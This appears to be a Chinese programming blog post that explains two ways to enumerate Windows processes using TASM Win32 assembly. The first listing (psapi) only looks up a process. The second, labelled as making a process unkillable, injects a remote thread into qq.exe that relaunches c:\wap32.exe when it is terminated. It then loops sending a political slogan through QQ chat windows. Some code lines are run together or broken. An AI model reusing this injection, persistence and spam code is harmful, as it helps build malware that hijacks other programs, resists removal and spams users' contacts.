对枚举进程几种方法的分析

类别:编程语言 点击:0 评论:0 推荐:
最近总是碰到些需要对进程进行操作的事情,自然首先需要把正在运行的程序找出来。经过n次地试验最终偶找到了2个较好的方法,于是想把最近一段时间的经验总结哈。由于偶写这种分析文章不多,许多不完善或者有错误的地方也请大家指一下,以后也好改进。还有偶希望这点经验对大家能有所帮助。
所谓进程就是正在运行的程序,某种系统起来后都会在后台运行些程序,这就不多说了。偶觉得第一个比较好地枚举进程的方法是psapi,但是该方法很大缺点就是系统局限性,也就是说只有win2k及以后的版本中有效。以下就利用win32汇编代码(使用tasm编译器)为大家介绍哈。
1.psapi
psapi是个动态连接库(psapi.dll),我们可以用以下地方法将它的函数引入

IMPORT32.LIB中。
d:\TASM\Lib\implib.exe psapi.dll psapi.lib
从动态连接库中导成lib文件
d:\tasm\lib\tlib.exe IMPORT32.LIB+psapi.lib
将lib文件加入IMPORT32.LIB中。
这样我们就能直接extrn psapi的函数了。
主要使用以下三个函数
EnumProcesses
EnumProcessModules
GetModuleBaseNameA
code:
==================================
找到指定的程序的进程号
==================================
.386p
.model flat,stdcall
include win32.inc

MB_OK=0
MAX_PATH=100h
PROCESS_QUERY_INformATION=0400h
PROCESS_VM_READ=0010h

extrn EnumProcesses:proc
extrn EnumProcessModules:proc
extrn GetModuleBaseNameA:proc
extrn MessageBoxA:proc
extrn OpenProcess:proc
extrn CloseHandle:proc
extrn lstrcmp:proc
extrn lstrcpy:proc

.data
ErrMsgdb'Wrong',0
ErrSucdb'Successful',0
Errtmpdb'没找到文件',0
Captiondb'3Thread',0
NormalNamedb'UnknownProcess',0
QQdb'winlogon.exe',0

ethreaddd10dup(?)
rphandledd10dup(?)
pnamedb100dup(?)
remotethrdb100dup(?)
remotepardb100dup(?)
remotepiddd10dup(?)
ccbdd10dup(?)
signaldd10dup(?)
hkernel32dd10dup(?)

lpidprocessesdd1024dup(?)
cbneededdd10dup(?)
cprocessesdd10dup(?)
hprocessdd10dup(?)
hmoduledd10dup(?)
processnameadb100dup(?)

.code
main:
call lstrcpy,offset pname[0],offset QQ
or eax,eax
jz Error
Loopr:
call ProcessStopID,offset pname[0]
L1:
ret

ProcessStopID proc processname:DWORD
call EnumProcesses,offset lpidprocesses,4096,offset cbneeded    ;列举所

有进程,并放在lpidprocesses偏移段里。
or eax,eax
jz Error
call lstrcpy,offset processnamea,offset processname
mov eax,[cbneeded]
mov bl,4
div bl
mov [cprocesses],eax
mov ecx,0
Loop:
push ecx
mov eax,[lpidprocesses[ecx]]
mov [remotepid],eax
call

OpenProcess,PROCESS_QUERY_INformATION+PROCESS_VM_READ,0,lpidprocesses

[ecx] ;以查询信息和读取方式打开进程
pop ecx
push ecx
mov [hprocess],eax
or eax,eax
jz Goon1
call EnumProcessModules,[hprocess],offset hmodule,size hmodule,offset

cbneeded  ;获得进程模块的句柄
or eax,eax
jz Goon1
call GetModuleBaseNameA,[hprocess],[hmodule],offset NormalName,520

;获得特定模块的名字以备比较
call lstrcmp,offset NormalName,offset processnamea
cmp eax,0
jnz Goon1
call CloseHandle,[hprocess]
ret
Goon1:
pop ecx
add ecx,4
cmp ecx,[cprocesses]
jnz Loop
call MessageBoxA,0,offset ErrSuc,offset Caption,MB_OK
call CloseHandle,[hprocess]
ret 0
ProcessStopID endp

Error:
call MessageBoxA,0,offset ErrMsg,offset Caption,MB_OK
ret
end main

2.ToolHelp
这也是一个枚举进程的方法,它解决了在win9x下枚举进程的问题,但是仍有不足的地方——在WinNT4下无效,:)不过猫大哥曾经对偶说NT可以不于考虑。ToolHelp的函数基本IMPORT32.LIB中引用这些函数,后来发现这主要是由于IMPORT32.LIB中kernel32.lib版本太老。所以tlib.exe除去了以前的kernel32,然后加入了新的kernel32.lib
主要用到的函数
CreateToolhelp32Snapshot
Process32First
Process32Next


code
==================================================
nt/2k/xp下进程不死
==================================================
include Win32.inc

.386
.model flat,stdcall
.data

;PROCESS_ALL_ACCESS=02H
TH32CS_SNAPPROCESS=02H
MB_OK=0
MAX_PATH=100h
WM_GETTEXT=0Dh
WM_SETTEXT=0Ch
WM_KEYDOWN=100h
VK_RETURN=0Dh
WM_KEYUP=101h
WM_LBUTTONDOWN=201h
WM_LBUTTONUP=202h

Protect2kProc proc ProcID: dword
callGetKnlOpenProcess
KnlOpenProcess dd ?
GetKnlOpenProcess:
popeax
call[eax],PROCESS_ALL_ACCESS,FALSE,ProcID
oreax,eax
jzshort ExitProtectProc
movebx,eax
callGetKnlWaitForSingleObject
KnlWaitForSingleObject dd ?
GetKnlWaitForSingleObject:
popeax
call[eax],ebx,-1h
callGetFileNameAddress
GetFileNameAddress:
popecx
addecx,offset FileName-offset GetFileNameAddress
callGetKnlWinExec
KnlWinExec dd ?
GetKnlWinExec:
popeax
call[eax],ecx,01
ExitProtectProc:
ret
Protect2kProc endp

 FileName db 'c:\wap32.exe',0


 KnlOpenProcessStrdb 'OpenProcess',0
 KnlWaitForObjectStrdb 'WaitForSingleObject',0
 KnlWinExecStrdb 'WinExec',0
 kerdb 'kernel32.dll',0
 kerldd?
 lpidprocessesdd?
 processcountdd?
 QQdb'qq.exe',0
 SendWnddd10dup(?)
 RichWnddd10dup(?)
 BtnWnddd10dup(?)

 MsgWnddb'发送消息',0
 RchClsdb'RICHEDIT',0
 BtnClsdb'送讯息(&S)',0

 bufferdb255dup(?)
 sztURLdb100dup(?)
 szMsgdb'一切侵略者都是纸老虎,保卫Iraq,打倒USA',0


 tagPROCESSENTRY32  dd$        ;操作的结构体
   dwSizedd ?
   cntUsagedd?
   th32ProcessIDdd    ?;this process
   th32DefaultHeapIDdd?
   th32ModuleIDdd   ?; associated exe
   cntThreadsdd   ?
   th32ParentProcessIDdd    ?; this process's parent

process
   pcPriClassBasedd      ?;  Base priority of

process's threads
   dwFlagdd   ?
   szExeFiledb260dup(?);Path
  tagPROCESSENTRY32ENDSdd$  

.code
extrn GetProcAddress: proc
extrn OpenProcess: proc
extrn GetWindowThreadProcessId: proc
extrn VirtualAllocEx: proc
extrn VirtualFreeEx: proc
extrn WriteProcessMemory: proc
extrn GetCurrentProcessId: proc
extrn CreateRemoteThread: proc
extrn GetExitCodeThread: proc
extrn CloseHandle: proc
extrn WinExec: proc
extrn MessageBoxA: proc
extrn Sleep: proc
extrn GetModuleHandleA:proc
extrn CreateToolhelp32Snapshot:proc
extrn Process32First:proc
extrn Process32Next:proc
extrn lstrcmpi:proc
extrn FindWindowA:proc
extrn FindWindowExA:proc
extrn lstrcmp:proc
extrn MessageBoxA:proc
extrn BringWindowToTop:proc
extrn SendMessageA:proc


Start:
call    GetModuleHandleA,offset ker
mov     kerl,eax
callGetProcAddress,kerl,offset KnlOpenProcessStr
movKnlOpenProcess,eax
callGetProcAddress,kerl,offset KnlWaitForObjectStr
movKnlWaitForSingleObject,eax
callGetProcAddress,kerl,offset KnlWinExecStr
movKnlWinExec,eax

;callFindWindowA,0,0
;pusheax
;callGetWindowThreadProcessId,eax,esp    


;;;;;;;;;;枚举进程部分;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
sub eax,eax
mov lpidprocesses,eax
mov processcount,eax
mov eax,offset dwSize

mov tagPROCESSENTRY32,eax
call CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0    ;建立一个toolhelp
cmp   eax,-1
je   OpenProcessError
mov lpidprocesses,eax
mov eax,offset tagPROCESSENTRY32ENDS
sub eax, tagPROCESSENTRY32       ;这个地方计算出结果的大小 128h
mov dwSize,296
call Process32First,lpidprocesses,tagPROCESSENTRY32  ;得到第一个进程

or eax,eax
jz Createremote
GetProcessID:

call lstrcmpi,offset szExeFile,offset QQ
or eax,eax
jz Createremote
call Process32Next,lpidprocesses,tagPROCESSENTRY32    ;得到下一个进程
call Sleep, 100
jmp GetProcessID

;;;;;;;;;;;;;;;;注射远程线程;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Createremote:
callOpenProcess,PROCESS_ALL_ACCESS,0,th32ProcessID
oreax,eax
jzOpenProcessError
movebx,eax
callVirtualAllocEx,ebx,NULL,1000h,MEM_COMMIT,L 40h
oreax,eax
jzOpenProcessError
movedi,eax
pusheax
callWriteProcessMemory,ebx,edi,OFF Protect2kProc,1000h,esp
callGetCurrentProcessId
call    CreateRemoteThread,ebx,NULL,NULL,edi,eax,NULL,esp
callGetExitCodeThread,eax,esp
popeax
;callVirtualFreeEx,ebx,edi,1000h,MEM_DECOMMIT
callCloseHandle,ebx
callSleep,100h
;;;;;;;;;;;;;;一些花招,没什么作用;;;;;;;;;;;;;;;;;;
QQsend:
call FindWindowA,0,offset MsgWnd
mov [SendWnd],eax
call BringWindowToTop,[SendWnd]
call FindWindowExA,[SendWnd],0,offset RchCls,0
mov [RichWnd],eax
call FindWindowExA,[SendWnd],0,0,offset BtnCls
mov [BtnWnd],eax
lea eax,[szMsg]
call SendMessageA,[RichWnd],WM_SETTEXT,100,eax
call SendMessageA,[BtnWnd],WM_LBUTTONDOWN,0,0
call SendMessageA,[BtnWnd],WM_LBUTTONUP,0,0
call Sleep,1000
jmp QQsend
OpenProcessError:
ret
end Start

好了,枚举进程的2种方法就说到这里

本文地址:http://com.8s8s.com/it/it29132.htm